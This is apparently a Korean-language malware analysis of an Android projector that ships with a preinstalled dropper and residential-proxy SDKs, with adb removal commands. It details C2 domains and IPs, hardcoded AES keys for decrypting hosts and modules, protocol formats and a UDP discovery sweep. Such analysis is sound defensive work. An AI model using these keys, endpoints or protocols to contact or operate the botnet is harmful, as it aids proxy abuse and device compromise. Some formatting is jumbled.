adb connect 10.56.215.10:5868

adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"

expect: only adbd to your computer (plus Google services, if allowed)

red flag: any process with several connections to public IPs

adb shell pm list packages -3 -i # new apps? check their installer

root@kitploit:~
**이 유닛을 정리하고 재부팅한 후의 결과:**```
adb shell "netstat -tnp"
# tcp   127.0.0.1:52992  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi  <- local screen-cast service
# tcp   127.0.0.1:52994  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi
# tcp6  10.56.215.10:5868  <your computer>  ESTABLISHED 5332/adbd              <- your ADB session
#  -> no outbound connections left (before: ~25 from yiyou)

24시간 후 netstat 검사를 반복하고(로더는 6시간마다 체크인함) DNS 및 방화벽 로그에서 프로젝터 IP의 차단 목록 적중을 확인하십시오.

8.4. 제한 사항

  • 공장 초기화를 하면 yiyou & sysapp이 복원됩니다. 네트워크에 접속하기 전에 섹션 8을 다시 실행하십시오.
  • APK를 삭제하기 위해 /system을 읽기-쓰기로 다시 마운트하는 것은 권장되지 않습니다: vbmeta가 잠겨 있고 /system이 100% 꽉 차 있으므로, adb disable-verity + adb remount는 /data에 오버레이를 생성하게 됩니다(공장 초기화 시 손실됨, pm uninstall --user 0과 마찬가지로). 부팅 실패의 위험이 있습니다.
  • 따라서 영구 제거는 덤프에서 super의 APK를 삭제하고 FEL을 통해 플래싱하는 것을 의미합니다. 테스트되지 않았습니다.``` adb shell getprop ro.boot.vbmeta.device_state # locked adb shell getprop ro.boot.verifiedbootstate # (empty) adb shell df -h /system # 1.1G 1.1G 3.4M 100%
root@kitploit:~
### 8.5. 블로트웨어```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest

pm enable --user 0 <package>로 되돌리기

  • com.android.toofifi: 핵심 스크린캐스트 서비스. 휴대폰과 노트북에서 화면 미러링(Miracast/AirPlay 방식 캐스팅)을 사용할 수 없게 된다.
  • com.toofifi.lineserver: 동일 스택용 유선/USB 디스플레이 서버로, 라이선스 확인을 위해 server.mphotool.com:8680으로 통신한다. 유선 디스플레이 모드를 사용할 수 없게 된다.
  • com.toofifi.miracast: 무선 Miracast 수신기로, server.mphotool.com:8680/MPAPI/System/CheckUpdate를 호출하고 사용 로그를 mphotool.com/FeituAppLogMgr에 업로드한다. 무선 캐스팅을 사용할 수 없게 된다.
  • com.mphotool.usbcastserver: USB 캐스트 서버로, 동일 벤더 제품이다. 기기에서의 USB 캐스트 지원을 사용할 수 없게 된다.
  • com.rockchip.devicetest: Allwinner 기기에 있을 이유가 없다.

9. 전체 컴포넌트 맵

정적 분석. 원본 디컴파일 소스, 복호화된 .rf 모듈, 사용된 스크립트는 analysis/(decompiled/, decrypted_modules/, tools/)에 보관되어 있다.

9.1 OTA 업데이터

com.android.sysapp

디컴파일된 클래스 a.a.b.m/a.a.b.n은 정확하고 문자 그대로의 OTA 요청을 보여준다:``` POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo &productid=<ro.android.productid, default "74865231"> &device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269"> &devices_version=<ro.build.version.incremental> &update_type=1|2 # 1 auto check, 2 forced ("check for update" button)

root@kitploit:~
Apache `HttpPost`를 통해 빈 폼 본문으로 전송됩니다. 모든 것이 쿼리 문자열에 있으므로 GET과 POST는 동일하며 서명/토큰도 없습니다. 라이브로 재생됨(2026‑09‑26): `{"code":200,"data":[]}`, 시도한 모든 버전에서 이 productid에 대한 패키지가 없는 것으로 보입니다.

### 9.2 Dropper

`com.android.umanalytics.yiyou`

**자체 업데이트** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json`은 `MD5`와 `VersionCode`가 포함된 `DownLoadURL`을 전달하며, 이는 다운로드되고 MD5 검사 후 `PkgUtils.install(path, 1)`로 조용히 자체 교체됩니다.

**`plugin.jar` 가져오기** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json`은 `plugin.jar`를 전달하며, 이는 `<cache>/plugin.jar`로 다운로드되어 `DexClassLoader`로 로드됩니다. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")`가 진입점입니다.

**기기별 앱 목록 프로필**
이들은 캠페인 내 각 기기에 대한 사용자 정의 앱입니다 (아마도 DRM을 우회하기 위해 패치된 것일까요?)

`com.anlytics.plug.b`는 보드(`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, 설치된 패키지, `/system/etc/voice.tar.gz`와 같은 파일)를 40개의 하드코딩된 프로필과 대조하여 지문을 채취하고 `com.tools.a`의 상수에서 적합한 `appsinfo/.../infos*.json` URL을 선택합니다.

이 유닛은 `com.ashd.launcher10`을 탑재하고 있으며 `persist.sys.cm.dtsmodel=AT-M269` / 보드 `ares`를 보고하며, 테이블에서 유일한 H713 "launcher10" 프로필은 다음과 같습니다:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json

감사의 말

이 프로젝트에 영감을 주고, 정보를 제공하며, 지원해 주신 모든 분들께 감사드립니다.```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"

root@kitploit:~
**40개 프로필 URL의 전체 목록**
각각은 아마도 동일한 캠페인에 속한 피해자 디바이스 제품군일 것입니다:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json  H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json  YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json

각 infos*.json은 pm install -r로 설치할 앱들(페이로드 com.google.adtest + Disney+ 같은 커버 앱)을 나열하며, 이는 3.에서 다룬 내용이다.

9.3 plugin.jar

C2 호스트 암호화 com.hs.p.basic.Hosts/EncryptUtils 각 호스트 문자열은 AES/CFB/NoPadding(키 MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708")으로 암호화되고, gzip 압축된 뒤 base64로 인코딩된다:

  • API_MASTER_HOSTS: https://api.loritor.cc/
  • TRACKER_SLAVE_HOSTS: https://api.loritor.cc/
  • API_SLAVE_HOSTS: https://api.nizero.cc/
  • TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (API 채널과 우선순위가 바뀐 것인가?)

이 테스트 당시 loritor.cc와 nizero.cc 모두 다운된 상태였다.

작업/설정 API 경로 GetTaskApi, GetConfigApi POST <host>/0x01/ov/x1 (설정: 무음 시간대, 로그 토글, 호스트 목록 푸시, 폴링 주기) 및 POST <host>/0x01/ov/x2 (작업 목록: 커서 페이지네이션된 jars[]/dexs[]/apks[], 각각 file_url/file_md5/vercode/task_id 포함). 응답 본문의 "data" 필드는 동일한 방식으로 암호화되며, 키는 "ota.api.d3b194c07b63d688969c258719ca3f0f"이다.

.rf 모듈 형식 유효한 DSA 서명이 있는 네 개의 모듈을 모두 복호화하면: [4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].

AES 키 = MD5("968a84be78d3421d5e771147dce2b766" + salt), 위와 동일한 고정 IV를 사용한다.

DSA 공개 키는 하드코딩되어 있다(1024비트, DexManager/JarExe에 내장). 평문은 원시 dex가 아니라 ZIP/APK이다.``` SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"} SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"} SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"} SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}

root@kitploit:~
### 9.4 com.ad.proxy

`SKN0041`

`MainApi.start_W0017` 항목은 클라이언트 `Robin`을 시작합니다. 두 개의 일반 HTTP(S) 엔드포인트로, `channel`/`version`은 해당 모듈을 호출한 쪽에서 제공합니다:```
GET  https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
     body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
     # reports back which proxy gateways it reached

9.5 com.szns.sdk

SKN0054

여기의 도메인/IP 문자열은 난독화되어 있습니다: Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip (클래스 com.szns.sdk.t).

정확한 알고리즘(analysis/tools/decode_szns_t.py)을 재현하여 하드코딩된 네 개의 부트스트랩 엔드포인트를 모두 복호화했습니다:``` ac.a() -> https://hgsdkszns.com ac.b() -> http://dporder.midrouterx.com/api/dispatch (state 1: fetch "domain_info", cached 24h) ac.c() -> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico (state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss") ac.d() -> 43.173.127.241:9090 (state 5: "ip_tcp_info" bootstrap)

root@kitploit:~
캐시된 디스패치 URL이 없는 경우(상태 7):
`43.153.12.1` - `43.153.80.100:8080`에 대한 UDP 스윕

리터럴 ASCII 페이로드 `"moon2"`를 전송하고, `http`로 시작하는 모든 응답을 기다린다. 이 응답이 디스패치 URL이 된다.

각 부트스트랩 요청은 `com.szns.sdk.x`에서 폼 필드 `{"operator":<c>,"c":"moon2","name":<d>}`와 함께 `POST <url>`로 이루어진다.

해석된 디스패치 URL에는 동일한 필드가 POST되며, 실제 게이트웨이 목록을 `AES/CBC/PKCS5`(키 `"5360e2884c119aa32a767ceb1c0889b0"`, 무작위 IV, 봉투 `base64(iv):base64(ciphertext)`)로 암호화하여 반환한다.

복호화된 JSON 형식: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.

### 9.6. com.link.core

`SKN0058 `

단일 하드코딩된 게이트웨이, 디스커버리 계층 없음: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. 자체 조회에 사용되는 DNS 리졸버: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. 기기 핑거프린팅을 위해 `/proc/cpuinfo`와 `/sys/class/net/{eth0,wlan0}/address`를 읽는다.

### 9.7. ddth2 (VpsSdk)

`SKN0061`

하드코딩된 게이트웨이 풀, `ddth2.hidden.o`: 도메인 `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IP `45.43.57.99`, `165.154.135.52`.

지속적인 사용자 정의 바이너리 TCP 프로토콜:

- connect
- `REGISTER`/`REGISTER_ACK` 핸드셰이크(8바이트 프레임 헤더, opcode+length)
- 게이트웨이가 이어서 connect 명령을 푸시함(`{host, port}`
- 프라이빗/루프백/멀티캐스트 범위에 대해 필터링되어 세션별 프록시 소켓을 생성하며, 이는 "많은 병렬 클라이언트 인스턴스"를 설명한다.

### 9.8. com.google.adtest

또는 `com.fotas.wanapp ("com.speed")`

실제 내부 패키지 이름은 `com.fotas.wanapp`(App 클래스 `com.fotas.wanapp.APP`)이다. `onCreate()`는 `plugin.jar`와 동일한 master/slave/random 패턴으로 세 개의 호스트를 설정한다:```
master -> https://api.pechlo.cc/
slave  -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/

기기 체크인은 POST https://codedevapp.com/api/v1/device/dau를 통해 이루어진다.

두 개의 서비스가 시작된다:

  • com.google.android.AdService
  • com.google.android.BakService

선택적 com.fotas.wanapp.ChannelSdkInit 클래스가 존재하면 리플렉션으로 탐색하여 초기화한다. 앱 ID 문자열: "wanapp", "WAN_AISHANG_001".

9.9. 실시간 상태 스냅샷 (2026-09-26)

독립 호스트에서의 읽기 전용 도달 가능성 확인 (프록시 프로토콜/페이로드 전송 없음, 프로젝터 자체와의 상호작용 없음):

10. URL

11. 기타

개발자 옵션:

  1. Deviceversion.onKeyDown (설정의 "기기 정보" 화면)은 코나미 스타일 코드인 위 위 아래 아래 왼쪽 왼쪽 오른쪽 오른쪽 가운데 가운데를 감시하며, 이는 개발자 옵션을 열려고 시도한다. 나에게는 이것이 작동하지 않았다.
  2. 위 아래 왼쪽 오른쪽 가운데는 com.konka.readmain.MainActivity를 실행하려고 시도하는데, 이는 이 기기에 실제로 설치되지 않은 관련 없는 OEM 공장 테스트 앱이다. 마찬가지로 작동하지 않았다.``` adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion adb shell input keyevent 19 adb shell input keyevent 19 adb shell input keyevent 20 adb shell input keyevent 20 adb shell input keyevent 21 adb shell input keyevent 21 adb shell input keyevent 22 adb shell input keyevent 22 adb shell input keyevent 23 adb shell input keyevent 23
root@kitploit:~
도구 다운로드
용어기능LAN
NetworkInterface (adtest, plugin, SKN0061)봇 ID를 위해 기기 자체의 IP와 MAC을 읽음아니요
SKN0041의 DatagramSocket게이트웨이로의 프록시 세션을 위한 UDP 릴레이아니요
SKN0054의 DatagramSocketC2 디스커버리: 43.153.12-80.1-100:8080 (퍼블릭 클라우드 대역) 스윕아니요
plugin.jar의 ServerSocket비디오 재스트리밍 서버, 아래 참조아니요
Runtime.exec 호출 (yiyou, plugin.jar, adtest, SKN0041/54/58/61)서드파티 SDK 내부, 로컬 파일에 대한 chmod 777, 포그라운드 앱 또는 루트 확인을 위한 su/pm/dumpsys, 그리고 SKN0041에서 운영자가 발행한 pingping 명령만 해당
UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/서브넷 계산, ADB 5555, telnet없음아니요
systemmixservice / libsystemmixservice.so / libsystemmix_jni.soBinder 전용 OEM 서비스: 속성 get/set, 원시 파일 읽기/쓰기/삭제, mount/umount, 부팅 로고/애니메이션. 두 바이너리 모두에 socket/bind/connect/listen/accept 심볼 없음아니요
qwSuperuser/ClockworkMod su 데몬. 문자열에 Unix 도메인 소켓 경로만 존재 (/dev/com.koushikdutta.superuser[.daemon]), IP 리터럴 없음, AF_INET 없음아니요
com.android.nfx (NFXAccessibility)Netflix D-pad 내비게이션 헬퍼, com.netflix.mediaclient가 포그라운드에 있는 동안에만 활성화됨. 매니페스트에 INTERNET 권한이 전혀 없음아니요
// SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only
str.equals("0.0.0.0")str.matches("^10\..*")
호스트DNS / 연결 결과비고
api.loritor.cc, api.nizero.cc확인됨 (Cloudflare), /에서 HTTP 404살아 있음; 실제 경로는 /0x01/ov/x1, /0x01/ov/x2
api.kookjar.com확인됨 (Cloudflare, 172.67.159.65), HTTP 204살아 있음
152.32.240.141 (SKN0041 디버그 폴백)TCP/80 타임아웃도달 불가; 어차피 디버그 전용 경로이며, 프로덕션은 api.kookjar.com 사용
dporder.midrouterx.com직접 확인됨 (43.174.196.241, Tencent Cloud), /api/dispatch에서 HTTP 200살아 있음
seed-info.oss-ap-southeast-1.aliyuncs.com확인됨 (47.79.49.170, Alibaba Cloud SG), HTTP 200, favorite.ico 제공살아 있음
hgsdkszns.com확인됨 (Cloudflare)DNS 살아 있음; 일반 HTTPS 프로브 리셋됨 (현재 빌드에서 미사용 분기, 10.5 참조)
43.173.127.241:9090원시 TCP 연결 성공살아 있음, 현재 수신 대기 중
api.eviceh.cc:16000확인됨 (152.53.83.204)DNS 살아 있음, 확인 시점에 TCP/16000 거부됨 (게이트웨이가 현재 수신 대기하지 않음)
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52이번 확인에서는 재검사하지 않음섹션 11 참조
api.pechlo.cc, api.logobi.cc확인됨 (Cloudflare), /에서 HTTP 404살아 있음
random.vivosoc.ccDNS 레코드 없음죽었거나 만료된 것으로 보임
codedevapp.com확인됨 (5.161.41.216, Hetzner)살아 있음; /api/v1/device/dau는 POST 전용이므로 단순 GET은 중단됨
호스트 / URL구성 요소역할
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.comsysapp, yiyou루트 OEM 백엔드 도메인
wjtysj.ishanghd.com/hx_kt.phpsysapp (AshdSysApp)OTA 업데이터 C2 (act=project&do=getPackageInfo)
ty.ishanghd.com/work/app/wj/factory/update.jsonyiyou드로퍼 자체 업데이트 포인터
ty.ishanghd.com/work/app/wj/appsinfo/* (40개 경로, 위 참조)yiyou기기 제품군별 페이로드/앱 목록 (pm install -r 대상)
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.jsonyiyouplugin.jar 가져오기 포인터
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jaryiyou실제 plugin.jar 페이로드 (버전이 지정된 경로, 시간에 따라 변경됨)
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zipplugin.jarWidevine L3 DRM 키/라이선스 번들, 인증되지 않은 기기에서 스트리밍 앱이 실행되도록 드롭됨
api.loritor.cc, api.nizero.ccplugin.jar ("hs")작업/구성 API (/0x01/ov/x1, /0x01/ov/x2), API 채널(마스터/슬레이브) 및 트래커 채널(슬레이브/마스터 교체) 모두로 사용
api.kookjar.com (+ 152.32.240.141 디버그)SKN0041/signin, /report
api.eviceh.cc:16000SKN0058유일한 게이트웨이
hgsdkszns.comSKN0054추가 하드코딩된 부트스트랩 호스트 (현재 빌드에서 미사용 분기)
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, 아래 OSS 부트스트랩을 통해 도달)SKN0054기본 디스패치 부트스트랩
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.icoSKN0054OSS 호스팅 부트스트랩 리디렉터 (Alibaba Cloud OSS)
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.icoSKN0054동일한 부트스트랩 구성의 Tencent COS 백업 미러
43.173.127.241:9090SKN0054ip_tcp_info 부트스트랩 호스트 (정확한 포트 확인됨, 라이브)
43.135.136.224SKN0054라이브로 관찰된 디스패치 게이트웨이 (tcp/7788 /api/dispatch, tcp/9090)
43.159.148.198SKN0054라이브로 관찰된 게이트웨이/서버 목록 엔드포인트, /dp/getServer (아마도 암호화된 node[] 목록 내에서 동적으로 반환됨)
43.130.60.175SKN0054추가 프록시 게이트웨이 노드 (tcp/9090), 라이브로 관찰됨
43.153.12.1–43.153.80.100:8080 (UDP)SKN0054검색 스윕; 프로브 페이로드는 리터럴 ASCII moon2
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52SKN0061게이트웨이 풀, 사용자 정의 TCP 프록시 프로토콜
api.pechlo.cc, api.logobi.cc, random.vivosoc.cccom.speed / com.fotas.wanapp마스터/슬레이브/랜덤 C2
codedevapp.com/api/v1/device/daucom.speed / com.fotas.wanapp기기 체크인
live.sz-cloudmedia.com:8080/ota/레거시 OTA (구형/형제 sysapp 변형)막다른 길, 해당 도메인은 ICP 등록이 없어 Alibaba가 차단함.
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.comyiyou (Umeng SDK)제3자 분석 텔레메트리, yiyou 앱이 수집하는 기기 지문(시리얼, MAC, SSID/BSSID)을 전달
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.comyiyou (Baidu Mobile Stats SDK)동일한 텔레메트리 역할, Baidu를 통해
cmnsguider.yunos.com, ip.taobao.com, g3.le.comyiyou지문 채취에 사용되는 Alibaba/Yunos 기기 토큰 및 공인 IP 조회 서비스